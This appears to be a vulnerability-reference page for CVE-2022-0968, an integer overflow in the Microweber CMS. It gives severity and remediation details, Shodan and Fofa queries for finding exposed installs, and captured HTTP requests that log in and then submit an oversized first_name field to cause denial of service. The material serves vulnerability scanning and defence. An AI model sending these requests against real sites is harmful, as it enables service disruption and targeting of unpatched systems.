| Title | Microweber <1.2.12 - Integer Overflow |
|---|---|
| Author | amit-jd |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could lead to remote code execution or denial of service. |
| Remediation | First name and last name input should be limited to 50 characters or maximum 100 characters. |
| CVSS Score | 5.5 |
| EPSS Score | 0.01425 |
| CVE ID | CVE-2022-0968 |
| CWE ID | CWE-190 |
| Shodan Query | http.favicon.hash:780351152http.html:"microweber" |
| Fofa Query | body="microweber"icon_hash=780351152 |
| Tags | cve cve2022 overflow microweber cms huntr vuln |
Microweber before 1.2.12 is susceptible to integer overflow. The application allows large characters to insert in the input field ‘first & last name,’ which can allow an attacker to cause a denial of service via a crafted HTTP request.
POST /api/user_login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=w9Eiby&password=Mcjgfa
GET /admin/view:modules/load_module:users/edit-user:2 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4
Connection: close
Accept-Encoding: gzip
POST /api/user/2 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 AlohaBrowser/7.6.0
Connection: close
Content-Length: 767
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
thumbnail=&id=2&token=YC3Fvf&_method=PATCH&username=nrHUNU&verify_password=&first_name=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&last_name=test&email=N1PXBc&phone=&is_admin=0&is_active=1&basic_mode=0&api_key=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0968.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0968.pcap
N/AN/A